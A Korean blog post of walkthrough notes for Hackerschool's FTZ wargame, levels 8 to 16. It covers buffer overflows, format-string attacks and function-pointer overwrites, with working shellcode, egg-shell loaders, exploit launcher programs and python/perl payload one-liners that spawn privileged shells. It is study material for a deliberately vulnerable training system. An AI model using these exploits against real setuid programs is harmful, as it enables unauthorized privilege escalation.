[참고]
닶은 없고
문제 풀이를 위한
키워드만 적어둠
level8
$ find / -type f -size 2700c 2>/dev/null
$ cat /etc/rc.d/found.txt | sort -u | grep -v '^$' > tmp/passwd.txt
$ john --show /root/hackme/john/run/passwd.txt | grep level9 | awk -F: '{print $1 " : " $2}'
Level9 : 취약점 분석
1. /usr/bin/bof 프로그램은 buf[10] 크기(sizeof(buf))가 10bytes로 되어 있는데,
입력으로 넣을 수 있는 크기(fgets(buf, 40, stdin))는 40bytes 만큼 입력할 수 있다.
따라서, 30bytes 만큼의 Buffer Overflow 할 수 있는 것을 확인할 수 있었다.
2. /usr/bin/bof 소스코드 분석 결과 buf[10] 공간에 garbage data 16 bytes(buf[10] + dumy[6])
를 넣고 그 뒤에 go를 넣으면 buf2[10]의 2bytes 부분이 go로 저장된다는 것을 확인할 수 있었다.
이를 이용해서 다음 레벨의 권한을 얻을 수 있는 취약점이 존재한다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main()
{
char buf2[10];
char buf[10];
printf("It can be overflow : ");
fgets(buf, 40, stdin);
printf("&buf=0x%x, &buf2=0x%x\n", buf, buf2); <--- 라인추가
if(strncmp(buf2, "go", 2) == 0)
{
printf("Good Skill!\n");
setreuid(3010, 3010);
system("/bin/bash");
}
}
[level9@ftz tmp]$ gcc -o bof bof.c ($ gcc -ggdb -o bof bof.c)
[level9@ftz tmp]$ ./bof
It ca be overflow : AAAA &buf=0xbffff760, &buf2=0xbffff770 |
0xbffff770 - 0xbffff760 = 0x00000010 => 16bytes 만큼 떨어져 있다.
(주의) 스택은 높은 주소에서 낮은 주소로 저장이 된다.
[스택의 구조]
<--- 스택이 증가 방향
--------------------------------------------------------------+
10_______6_____ 10_______ 14 ____4 ___4 |
buf[10]_dummy_buf2[10]_dummy_SFP_ RET |
--------------------------------------------------------------+
<--- 낮은 메모리 주소____________ 높은 메모리 주소 --->
[스택의 구조]
<--- 스택이 증가 방향
-----------------------------------------------------------
10 ______________6 _______10 _______14______ 4 4
buf[10]________dummy__ buf2[10]___ dummy SFP RET
AAAAAAAAAA BBBBBB____ go
-----------------------------------------------------------
<--- 낮은 메모리 주소 높은 메모리 주소 --->
Level10
: shared memory
// 사용법
#include <stdio.h>
#include <sys/shm.h>
#include <sys/types.h>
#define BUFFSIZE 1024
int main()
{
void *sharedMemory=(void *)0;
int sharedMemID;
char buf[BUFFSIZE]; //캐릭터 형태의 버퍼공간
key_t keyval=7530;
// 공유 메모리의 ID를 읽어 온다. 0666은 퍼미션
sharedMemID=shmget(keyval, BUFFSIZE, 0666);
// 프로세스에서 공유 메모리 공간을 사용할 수 있게 연결(Attach) 한다.
sharedMemory=shmat(sharedMemID, (void *)0, 0);
// 공유 메모리 공간에 있는 값을 특정 변수에 복사한다.
memcpy(buf, sharedMemory, BUFFSIZE);
printf("%s", buf);
// 프로세스에서 공유 메모리의 연결을 분리(Detach)한다.
shmdt(sharedMemory);
return 0;
}
// 예제
#include <stdio.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/shm.h>
int main()
{
int shmid;
void *shmaddr = (void *)0;
char buf[1024];
shmid = shmget(7530, 1024, 0666);
shmaddr = shmat(shmid, NULL, 0);
memcpy(buf, shmaddr, 1024);
printf("%s \n", buf);
shmdt(shmaddr);
return 0;
}
or
#include <sys/shm.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
// man shmget
/* Global Variable */
/* Function */
/* Main Functtion */
int main(void)
{
int shm_id;
void *shm_addr = (void *)0;
char buf[1024];
// (1) Approach Memory address shmget
shm_id = shmget(7530, 1024, 0666);
// (2) to Approach to target shmat
shm_addr = shmat(shm_id, (void *)0, 0);
// (3) Copy memory memcpy
memcpy(buf, shm_addr, 1024);
printf("Content : %s\n", buf);
// (4) dettach shmdt
shmdt(shm_addr);
return 0;
}
==============================================
//추가
/* Header Files */
#include <sys/ipc.h>
#include <sys/shm.h>
#include <stdio.h> // printf
#include <unistd.h> //exit man2 exit
/* Global Variable */
/* Function */
/* Main Function */
int main(void)
{
int shm_id;
void *shm_addr = (void *)0;
// (1) Create Shared Memory
shm_id = shmget((key_t)9000, 1024, IPC_CREAT|0666);
if (shm_id == -1)
{
printf("Shared memory cat't be created.");
exit(1);
}
// (2) Attach
shm_addr = shmat(shm_id, (void *)0, 0);
if(shm_addr == (void *)-1)
{
printf("Shared memory can't attach.");
exit(2);
}
// (3) Message
strcpy(shm_addr, "Memory Testing Message.");
// (4) Detach
shmdt(shm_addr);
return 0;
}
Level11 : FSB
%n : 포맷 스트링 오류를 이용해 공격하는 것을 FSB attack이라 한다.
strcpy 함수 : NULL 문자 전까지의 문자열을 복사하는 함수.
취약점으로 문자열 길이를 검사하지 않기 때문에 버퍼의 크기보다 큰 문자열이
들어갈 경우 오퍼 플로우 현상이 생긴다.
정해진 버퍼의 크기를 넘길 경우를 대비한 방어책이 안 되어 있다면
입력 문자열을 이용해 RET값 변조가 가능하다.
------------------
segment fault 확인
[level11@ftz level11]$ ./attackme
세그멘테이션 오류 /* Segmentation fault */ |
잘못된 주소를 포인트하기 때문에 segment fault 발생했다.
인자가 없으면 argv[1] 안에는 gabage 값이 들어 있기 때문에
그 값이 str 복사되면 segment fault 발생한다.
int * %n 이전까지 쓴 문자열의 바이트 수 쓰기
printf(“AAAA%n”, &j) 4바이트를 j라는 주소에 넣어라 라는 뜻. &는 주소.
특정한 주소에 값을 지정해 넣을 수 있는 기능
printf("%바이트수c%n", j, &i);
printf("%1000d%n", j, &i); %d, %n 두가지 포맷스트링을 썼으니 두 군데.
1000d의 공간을 확보했다. 하나당 1바이트.
I의 주소안에 1000을 집어 넣어라.
j = 5
(“%5d, j“) = 오른쪽 정렬해서 넣는다.
(주의) 포맷 스트링관 관련된 코드를 볼때 단순히 화면에 출력되는 값뿐 아니라
메모리에 실제로 어떤 값이 저장되어 있는지도 염두해 두어야 한다.
-----------------------------
[공격 순서]
1. segment fault 확인
2. stack 내용 확인 : AAAA(41414141) 보여질때까지 "AAAA %8x"
(보여지면 FSB 존재여부를 알 수 있다)
3. 쉘코드 만들기
: 메모리 안에 쉘 코드를 실행하고 쉘 주소값을 리턴하는 코드
(에그쉘, 에그헌터 등으로 부른다)
eggshell
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_ADDR_SIZE 8
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_SUPERDK_SIZE 2048
#define NOP 0x90
char shellcode[] =
"\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";
unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}
int main(int argc, char **argv)
{
char *ptr, *superSH;
char shAddr[DEFAULT_ADDR_SIZE + 1];
char cmdBuf[DEFAULT_BUFFER_SIZE];
long *addr_ptr,addr;
int offset=DEFAULT_OFFSET;
int i, supershLen=DEFAULT_SUPERDK_SIZE;
int chgDec[3];
if(!(superSH = malloc(supershLen))) //2048
{
printf("Can't allocate memory for supershLen");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = superSH;
for(i=0; i<supershLen - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for(i=0; i<strlen(shellcode); i++)
*(ptr++) = shellcode[i];
superSH[supershLen - 1] = '\0';
memcpy(superSH, "SUPERDK=", DEFAULT_ADDR_SIZE);
putenv(superSH);
system("/bin/bash");
}
getenv
#include <stdio.h>
int main()
{
printf("SUPERDK's addr=%p\n", getenv("SUPERDK"));
}
4. 공격시 사용할 두 가지 주소 확인
%n 포맷 스트링 지시자가 특정한 주소에 있는 값을
다른 값(주소)로 변경할 때 사용하기 때문에
공격시 사용되는 주소가 2개 있다.
(첫번째 주소) 공격 하려는 주소 => nm 명령어를 이용하여 소멸자(destructor) 주소 확인
[level11@ftz level11]$ nm /home/level11/attackme | head
0804953c D _DYNAMIC 08049614 D _GLOBAL_OFFSET_TABLE_ 08048524 R _IO_stdin_used 08049608 d __CTOR_END__ /* 생성자(constructor) */ 08049604 d __CTOR_LIST__ 08049610 d __DTOR_END__ /* 소멸자(destructor) */ 이 주소를 우리 주소 값으로 바꾼다. 0804960c d __DTOR_LIST__ 08049538 d __EH_FRAME_BEGIN__ 08049538 d __FRAME_END__ 0804963c A __bss_start |
-> main() 함수가 종료되는 시점에 소멸자가 호출된다.
소멸자 역할을 수행하는 함수를 쉘코드로 흐름을 바꿀 수 있다면 쉘이 떨어지게 된다.
-> 소멸자의 주소가 08049610임을 알수 있다.
값을 변조해서 실행 흐름을 바꿀수 있는 주소는 __DTOR_END__(08049610)이다.
따라서 0x08049610 주소를 쉘코드의 실행 주소로 써야 한다.
(두번째 주소) 쉘코드 실행 주소
: eggshell + getenv 프로그램으로 쉘코드 주소 확인
5. 공격 구문
$(printf "AAAA\주소1BBBB주소2")%8x%8x%8x%숫자1c%n%숫자2c%n
./attackme
$(printf "AAAA\x10\x96\x04\x08BBBB\x12\x96\x04\x08") \
%8x%8x%8x%62585c%n%52062c%n
Level12
우선 FSB가 있는지 확인해 보니 없다.
힌트를 보니 stack BOF 공격이 가능해 보임
gdb분석으로
스택상에 주어진 값 + 더미 공간 + SFP를
확인할 수 있느냐가 광건.
SFP를 넘어서는 순간부터 Segment Fault가 발생한다(RET부분)
그 경계 후에
실행시킬 에그쉘의 주소값을
추가로 넣어주면 공격에 성공한다.
$ ./egg
$ ./getenv ( egg쉘의 정확한 주소)
$ (python -c 'print "A"*268 + "\xd4\xf6\xff\xbf"';cat) |/home/level12/attackme
[공격 코드 패치 버전]
1. 쉘 코드 정의 : egg.c
2. 쉘 코드의 정확한 주소 확인 코드 : getenv.c
3. 공격 코드 super.c
4. 모듈 (함수)
super.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define NOP 0x90
char shellcode[] =
"\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";
int main(int argc, char **argv)
{
char *ptr, *superSH;
int supershLen=2048;
int i;
if(!(superSH = malloc(supershLen)))
{
printf("Can't allocate memory for supershLen");
exit(0);
}
ptr = superSH;
for(i=0; i<supershLen - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for(i=0; i<strlen(shellcode); i++)
*(ptr++) = shellcode[i];
superSH[supershLen - 1] = '\0';
memcpy(superSH, "EGG=", 4);
putenv(superSH);
system("./super2");
}
super2.c
/* (1) header */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
/* (2) global */
#define NOP 0x90
//char RET[] = "\xcc\xf4\xff\xbf";
char RET[4];
/* (3) function */
ConvertReturnAddress(char ReturnAddress[])
{
char First[3];
char Second[3];
char Third[3];
char Forth[3];
First[0]=ReturnAddress[6];
First[1]=ReturnAddress[7];
First[2]='\0';
// printf("%s\n", First);
Second[0]=ReturnAddress[4];
Second[1]=ReturnAddress[5];
Second[2]='\0';
// printf("%s\n", Second);
Third[0]=ReturnAddress[2];
Third[1]=ReturnAddress[3];
Third[2]='\0';
// printf("%s\n", Third);
Forth[0]=ReturnAddress[0];
Forth[1]=ReturnAddress[1];
Forth[2]='\0';
// printf("%s\n", Forth);
RET[0]=strtol(First, NULL, 16);
RET[1]=strtol(Second, NULL, 16);
RET[2]=strtol(Third, NULL, 16);
RET[3]=strtol(Forth, NULL, 16);
RET[4]='\0';
}
/* (4) main function */
/* Attack Method : (perl -e 'print "A"*268,RET'; cat) | /home/level12/attackme */
int main()
{
int retLen;
char shellbuf[272];
int i, j;
char cmdbuf[350];
char *env_pointer=NULL;
unsigned long env_add_long=0x0;
char ReturnAddress[9];
// EGG address(Hex)
// (Hex)bf ff f4 cc -> (str) cc f4 ff bf -> RET = (Hex) cc f4 ff bf
env_pointer=getenv("EGG");
env_add_long=(unsigned long) env_pointer;
// printf("Hex : %lx\n", env_add_long);
sprintf(ReturnAddress, "%lx", env_add_long);
// printf("Str : %s\n", ReturnAddress);
// printf("%c, %c\n", ReturnAddress[0], ReturnAddress[1]);
ConvertReturnAddress(ReturnAddress);
retLen = strlen(RET);
for(i=0; i<sizeof(shellbuf)-retLen; i++)
shellbuf[i] = NOP;
for(j=0; j<retLen; j++)
shellbuf[i++] = RET[j];
// printf("%s\n", shellbuf);
// (perl -e 'print "shellbuf"'; cat) | /home/level12/attackme
sprintf(cmdbuf, "(perl -e \'print \"");
strcat(cmdbuf, shellbuf);
strcat(cmdbuf, "\"\'; cat) | /home/level12/attackme");
strcat(cmdbuf, "\x0a");
// printf("%s\n", cmdbuf);
system(cmdbuf);
return 0;
}
Level13
힌트 파일에 들어있는 코드에
한 줄을 추가해 i 와 buf의 주소값을 확인해보자
#include <stdlib.h>
main(int argc, char *argv[])
{
long i=0x1234567;
char buf[1024];
printf("&i : 0x%x, &buf : 0x%x\n", &i, buf); //추가 라인
setreuid( 3094, 3094 );
if(argc > 1)
strcpy(buf,argv[1]);
if(i != 0x1234567) {
printf(" Warnning: Buffer Overflow !!! \n");
kill(0,11);
}
}
&i : 0xbffff05c, &buf : 0xbfffec50
[공격코드]
Attack.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define NOP 0x90
char shellcode[] =
"\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";
int main(int argc, char **argv)
{
char *ptr, *superSH;
int supershLen=2048;
int i;
if(!(superSH = malloc(supershLen)))
{
printf("Can't allocate memory for supershLen");
exit(0);
}
ptr = superSH;
for(i=0; i<supershLen - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for(i=0; i<strlen(shellcode); i++)
*(ptr++) = shellcode[i];
superSH[supershLen - 1] = '\0';
memcpy(superSH, "EGG=", 4);
putenv(superSH);
system("./Attack2");
}
Attack2.c
/* (1) header */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
/* (2) global */
#define NOP 0x90
//char RET[] = "\xcc\xf4\xff\xbf";
char RET[4];
char stackgd[] = "\x67\x45\x23\x01";
/* (3) function */
ConvertReturnAddress(char ReturnAddress[])
{
char First[3];
char Second[3];
char Third[3];
char Forth[3];
First[0]=ReturnAddress[6];
First[1]=ReturnAddress[7];
First[2]='\0';
// printf("%s\n", First);
Second[0]=ReturnAddress[4];
Second[1]=ReturnAddress[5];
Second[2]='\0';
// printf("%s\n", Second);
Third[0]=ReturnAddress[2];
Third[1]=ReturnAddress[3];
Third[2]='\0';
// printf("%s\n", Third);
Forth[0]=ReturnAddress[0];
Forth[1]=ReturnAddress[1];
Forth[2]='\0';
// printf("%s\n", Forth);
RET[0]=strtol(First, NULL, 16);
RET[1]=strtol(Second, NULL, 16);
RET[2]=strtol(Third, NULL, 16);
RET[3]=strtol(Forth, NULL, 16);
RET[4]='\0';
}
/* main function */
int main()
{
int retLen;
char shellbuf[1056]; /* NOPx1036 + StackGuard(4) + NOPx12 + RET(4) */
int i, j;
char *env_pointer=NULL;
unsigned long env_add_long=0x0;
char ReturnAddress[9];
int stackGuardLen;
// EGG address(Hex)
// (Hex)bf ff f4 cc -> (str) cc f4 ff bf -> RET = (Hex) cc f4 ff bf
env_pointer=getenv("EGG");
env_add_long=(unsigned long) env_pointer;
// printf("Hex : %lx\n", env_add_long);
sprintf(ReturnAddress, "%lx", env_add_long);
// printf("Str : %s\n", ReturnAddress);
// printf("%c, %c\n", ReturnAddress[0], ReturnAddress[1]);
ConvertReturnAddress(ReturnAddress);
/* NOPx1036 + 0x01234567(4) + NOx12 + RET(4) = 1056 */
stackGuardLen = strlen(stackgd);
retLen = strlen(RET);
// printf("StackGuardLen: %d, retLen: %d\n", stackGuardLen, retLen);
for(i=0; i<1036; i++) shellbuf[i] = NOP;
for(j=0; j<stackGuardLen; j++) shellbuf[i++] = stackgd[j];
for(j=0; j<12; j++) shellbuf[i++] = NOP;
for(j=0; j<retLen; j++) shellbuf[i++] = RET[j];
// printf("%s\n", shellbuf);
// Attack Method : /home/level12/attackme shellbuf
// EX) ./attackme $(perl -e 'print "A"x1036,"\x67\x45\x23\x01","\xb8\xfa\xff\xbf"x20')
execl("/home/level13/attackme", "attackme", shellbuf, 0);
return 0;
}
Level14
[단원의 목적]
루틴 분기 키값의 이해
[루틴 분기 구문이 사용되는 예]
소프트웨어를 설치할 때 시리얼 키(Serial Key)/라이센스 키(License Key) 입력 받는 부분
[level14@ftz level14]$ cat hint
레벨 이후로는 의 문제를 그대로 가져왔습니다 14 mainsource .
버퍼 오버플로우 포맷스트링을 학습하는데는 이 문제들이 ,
최고의 효과를 가져다줍니다.
#include <stdio.h>
#include <unistd.h>
main()
{ int crap; // 정수형 변수 crap 선언
int check; // 정수형 변수 check 선언
char buf[20]; // 문자형 변수 buf에 20 바이트만큼 할당
fgets(buf,45,stdin); // 45 , buf 바이트만큼 입력받고 내용은 변수에 저장
if (check==0xdeadbeef) // check 0xdeadbeef 변수의 값이 일 경우 조건문 수행
{
setreuid(3095,3095); // uid 3095(level15) 실행되는 동안 uid를 level15 로 변경
system("/bin/sh"); // /bin/sh 실행
}
}
변수 check의 값이 0xdeadbeef 와 같을 경우 권한 상승과 함께 쉘을 띄워주게 됨
메모리상에서 check의 위치를 알아낸 뒤 0xdeadbeef로 수정하면 해결할 수 있다.
[level14@ftz level14]$ cp attackme ./tmp [level14@ftz level14]$ cd tmp [level14@ftz tmp]$ gdb -q attackme (gdb) disassemble main Dump of assembler code for function main: 0x08048490 <main+0>: push %ebp 0x08048491 <main+1>: mov %esp,%ebp 0x08048493 <main+3>: sub $0x38,%esp // 0x38 = 56바이트만큼의 공간 할당 0x08048496 <main+6>: sub $0x4,%esp 0x08048499 <main+9>: pushl 0x8049664 0x0804849f <main+15>: push $0x2d 0x080484a1 <main+17>: lea 0xffffffc8(%ebp),%eax // 0xffffffc8(%ebp) eax 값을 에 저장 0x080484a4 <main+20>: push %eax 0x080484a5 <main+21>: call 0x8048360 <fgets> 0x080484aa <main+26>: add $0x10,%esp 0x080484ad <main+29>: cmpl $0xdeadbeef,0xfffffff0(%ebp) 0x080484b4 <main+36>: jne 0x80484db <main+75> 0x080484b6 <main+38>: sub $0x8,%esp 0x080484b9 <main+41>: push $0xc17 0x080484be <main+46>: push $0xc17 0x080484c3 <main+51>: call 0x8048380 <setreuid> 0x080484c8 <main+56>: add $0x10,%esp 0x080484cb <main+59>: sub $0xc,%esp 0x080484ce <main+62>: push $0x8048548 0x080484d3 <main+67>: call 0x8048340 <system> 0x080484d8 <main+72>: add $0x10,%esp 0x080484db <main+75>: leave 0x080484dc <main+76>: ret 0x080484dd <main+77>: lea 0x0(%esi), |
메모리 구성
buf[20] - dummy[?] - check[4] - dummy[?] - crap[4] - dummy[?] - SFP[4] - RET[4]
SFP 전까지 56
<main+17> 0xffffffc8 eax push fgets 에서 주소를 레지스터로 저장한 뒤
push 및 fgets 함수를 호출하는 것으로 보아 0xfffffff0은 check임을 알 수 있음.
<main+29> 0xfffffff0 0xdeadbeef 0xfffffff0 check 에서 와 를 비교하는 것으로 봤을 때
0xfffffff0은 check임을 알 수 있다.
따라서 buf부터 check시작 전까지의 크기는 0xfffffff0-0xffffffc8=28(10진수 40)byte
buf와 check 사이의 dummy 공간은 20이다.
buf[20] - dummy[20] - check[4] - dummy[?] - crap[4] - dummy[?] - SFP[4] - RET[4]
공격 방법 = [40비트 크기의 데이터] + [0xdeadbeef]
$ (python -c 'print "A"*40+"\xef\xbe\xad\xde"';cat)|/home/level14/attackme
Level15
[level15@ftz level15]$ cat hint
#include <stdio.h>
main()
{ int crap; // crap 정수형 변수 선언
int *check; // check 정수형 포인터 변수 선언
char buf[20]; // 문자형인 buf 변수에 20 바이트 할당
fgets(buf,45,stdin); // 45 , buf 바이트만큼 입력받고 내용은 변수에 저장
if (*check==0xdeadbeef) // check 0xdeadbeef 포인터가 일 경우 조건문 수행
{
setreuid(3096,3096); // uid 3096(level16) 실행되는 동안 를 으로 변경
system("/bin/sh"); // /bin/sh 실행
}
}
level14 check . attackme tmp 문제와 거의 동일하지만 변수를 포인터로 변경한 차이가 있음.
디버깅 수행 전 파일을 폴더로 복사한 뒤 명령어를 이용하여 디버깅을 진행하자.
[level15@ftz level15]$ cp attackme ./tmp [level15@ftz level15]$ cd tmp [level15@ftz tmp]$ gdb -q attackme (gdb) disassemble main Dump of assembler code for function main: 0x08048490 <main+0>: push %ebp 0x08048491 <main+1>: mov %esp,%ebp 0x08048493 <main+3>: sub $0x38,%esp // 0x38 = 56바이트만큼의 공간 할당 0x08048496 <main+6>: sub $0x4,%esp 0x08048499 <main+9>: pushl 0x8049664 0x0804849f <main+15>: push $0x2d 0x080484a1 <main+17>: lea 0xffffffc8(%ebp),%eax // 0xffffffc8(%ebp) eax 값을 에 저장 0x080484a4 <main+20>: push %eax 0x080484a5 <main+21>: call 0x8048360 <fgets> 0x080484aa <main+26>: add $0x10,%esp 0x080484ad <main+29>: mov 0xfffffff0(%ebp),%eax 0x080484b0 <main+32>: cmpl $0xdeadbeef,(%eax) 0x080484b6 <main+38>: jne 0x80484dd <main+77> 0x080484b8 <main+40>: sub $0x8,%esp 0x080484bb <main+43>: push $0xc18 0x080484c0 <main+48>: push $0xc18 0x080484c5 <main+53>: call 0x8048380 <setreuid> 0x080484ca <main+58>: add $0x10,%esp 0x080484cd <main+61>: sub $0xc,%esp 0x080484d0 <main+64>: push $0x8048548 0x080484d5 <main+69>: call 0x8048340 <system> 0x080484da <main+74>: add $0x10,%esp 0x080484dd <main+77>: leave 0x080484de <main+78>: ret 0x080484df <main+79>: nop End of assembler dump |
문제의 해결 방법
어떻게 하면 *check 주소를 0xdeadbeef 값이 가리키는 주소로 표시할 수 있을까?
-> 0xdeadbeef 값은 어딘가에는 저장되어 있기 때문에 주소를 확인한다.
(gdb) x/10x 0x080484b0 0x80484b0 <main+32>: 0xbeef3881 0x2575dead 0x6808ec83 0x00000c18 0x80484c0 <main+48>: 0x000c1868 0xfeb6e800 0xc483ffff 0x0cec8310 0x80484d0 <main+64>: 0x04854868 0xfe66e808 |
or
(gdb) info registers eax 0xbffff5e8 -1073744408 ecx 0x9 9 edx 0x4212e130 1108533552 ebx 0x42130a14 1108544020 esp 0xbffff5b0 0xbffff5b0 ebp 0xbffff5e8 0xbffff5e8 esi 0x40015360 1073828704 edi 0x8048520 134513952 eip 0x80484b0 0x80484b0 eflags 0x282 642 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x33 51 (gdb) x/4x 0x080484b0 0x80484b0 <main+32>: 0xbeef3881 0x2575dead 0x6808ec83 0x00000c18 (gdb) x/4x 0x080484b2 0x80484b2 <main+34>: 0xdeadbeef 0xec832575 0x0c186808 0x18680000 (gdb) quit The program is running. Exit anyway? (y or n) y |
$ (python -c 'print "A"*40 + "\xb2\x84\x04\x08"' ; cat) | ./attackme
Level16
문제의 해결 방법
[level16@ftz level16]$ cat hint #include <stdio.h> void shell() { setreuid(3097,3097); // 실행되는 동안 uid를 3097(level17)로 변경 system("/bin/sh"); // /bin/sh 실행 } void printit() { printf("Hello there!\n"); } main() { int crap; // crap 정수형 변수 선언 void (*call)()=printit; // printit 함수를 call 포인터에 저장 char buf[20]; // 문자형 buf 변수에 20 바이트만큼 할당 fgets(buf,48,stdin); // 48 바이트만큼 입력받고 내용은 buf 변수에 저장 call(); // call 함수 호출 } |
[level16@ftz level16]$ cp attackme ./tmp [level16@ftz level16]$ cd tmp [level16@ftz tmp]$ gdb -q attackme (gdb) disassemble main Dump of assembler code for function main: 0x08048518 <main+0>: push %ebp 0x08048519 <main+1>: mov %esp,%ebp 0x0804851b <main+3>: sub $0x38,%esp // 56바이트 공간을 스택에 할당 0x0804851e <main+6>: movl $0x8048500,0xfffffff0(%ebp) 0x08048525 <main+13>: sub $0x4,%esp 0x08048528 <main+16>: pushl 0x80496e8 0x0804852e <main+22>: push $0x30 0x08048530 <main+24>: lea 0xffffffc8(%ebp),%eax 0x08048533 <main+27>: push %eax 0x08048534 <main+28>: call 0x8048384 <fgets> 0x08048539 <main+33>: add $0x10,%esp 0x0804853c <main+36>: mov 0xfffffff0(%ebp),%eax 0x0804853f <main+39>: call *%eax 0x08048541 <main+41>: leave 0x08048542 <main+42>: ret 0x08048543 <main+43>: nop 0x08048544 <main+44>: nop 0x08048545 <main+45>: nop 0x08048546 <main+46>: nop 0x08048547 <main+47>: nop 0x08048548 <main+48>: nop 0x08048549 <main+49>: nop 0x0804854a <main+50>: nop 0x0804854b <main+51>: nop 0x0804854c <main+52>: nop 0x0804854d <main+53>: nop 0x0804854e <main+54>: nop ---Type <return> to continue, or q <return> to quit--- 0x0804854f <main+55>: nop End of assembler dump |
[스택 구조 파악하기]
hint 코드에 printf 구문을 추가하여 buf, call, crap의 주소를 확인한다.
[level16@ftz level16]$ cd tmp [level16@ftz tmp]$ cat ../hint > distance.c [level16@ftz tmp]$ vi distance.c #include <stdio.h>
void shell() { setreuid(3097,3097); system("/bin/sh"); } void printit() { printf("Hello there!\n"); } main() { int crap; void (*call)()=printit; char buf[20]; fgets(buf,48,stdin); call(); printf("Input is : %s\n &buf : %p\n &call : %p \n &crap : %p\n", buf, buf, &call, &crap); }
[level16@ftz tmp]$ gcc -o distance distance.c [level16@ftz tmp]$ ./distance Hello there!
Input is :
&buf : 0xbfffe820 &call : 0xbfffe848 &crap : 0xbfffe84c |
buf와 call의 거리는 40, buf 의 크기는 20byte이므로
둘 사이의 dummy는 20byte / call과 crap의 거리는 4(더미없음)
스택 구조
buf[20] - dummy[20] - call[4] - crap[4] - dummy[8] - SFP[4] - RET[4]
(gdb) break *0x0804853f Breakpoint 1 at 0x804853f (gdb) run Starting program: /home/level16/tmp/attackme AAAA
Breakpoint 1, 0x0804853f in main () (gdb) x/16x $esp 0xbffff830: 0x41414141 0x4213000a 0xbffff858 0x080484b1 0xbffff840: 0x080495e0 0x080496ec 0x4001582c 0x080483fe 0xbffff850: 0x0804832c 0x42130a14 0x08048500 0x08048342 0xbffff860: 0x4200af84 0x42130a14 0xbffff888 0x42015574
(gdb) x/x 0x08048500 0x8048500 <printit>: 0x83e58955
(gdb) disassemble printit Dump of assembler code for function printit: 0x08048500 <printit+0>: push %ebp 0x08048501 <printit+1>: mov %esp,%ebp 0x08048503 <printit+3>: sub $0x8,%esp 0x08048506 <printit+6>: sub $0xc,%esp 0x08048509 <printit+9>: push $0x80485c0 0x0804850e <printit+14>: call 0x80483a4 <printf> 0x08048513 <printit+19>: add $0x10,%esp 0x08048516 <printit+22>: leave 0x08048517 <printit+23>: ret End of assembler dump. |
buf 변수의 시작점부터 40 바이트 이후의 위치가 printit 함수의 시작점이.
print 함수 시작점을 shell 함수의 주소 값으로 바꾸면 공격에 성공하게 된다.
(gdb) disassemble shell Dump of assembler code for function shell: 0x080484d0 <shell+0>: push %ebp 0x080484d1 <shell+1>: mov %esp,%ebp 0x080484d3 <shell+3>: sub $0x8,%esp 0x080484d6 <shell+6>: sub $0x8,%esp 0x080484d9 <shell+9>: push $0xc19 0x080484de <shell+14>: push $0xc19 0x080484e3 <shell+19>: call 0x80483b4 <setreuid> 0x080484e8 <shell+24>: add $0x10,%esp 0x080484eb <shell+27>: sub $0xc,%esp 0x080484ee <shell+30>: push $0x80485b8 0x080484f3 <shell+35>: call 0x8048364 <system> 0x080484f8 <shell+40>: add $0x10,%esp 0x080484fb <shell+43>: leave 0x080484fc <shell+44>: ret 0x080484fd <shell+45>: lea 0x0(%esi),%esi End of assembler dump. |
공격 방법 = [40비트 크기의 데이터] + [shell 함수의 시작점 주소]
$ (python -c 'print "A"*40 + "\xd0\x84\x04\x08"' ; cat) | ./attackme
'WEB 진단 > WarGame' 카테고리의 다른 글
해커스쿨 BOF 원정대 : Level2 풀기 (0) | 2020.12.21 |
---|---|
해커스쿨 BOF 원정대 : 개요 및 Level1 풀기 (0) | 2020.12.21 |
해커스쿨 Hackme FTZ 문제 Level5- level7(백도어 in 리버스 엔지니어링) (0) | 2020.12.08 |
해커스쿨 Hackme FTZ 문제 Level2 - level4 (백도어 in 리버스 엔지니어링) (0) | 2020.12.08 |
해커스쿨 Hackme FTZ 문제 Leve1 (백도어 in 리버스 엔지니어링) (0) | 2020.12.04 |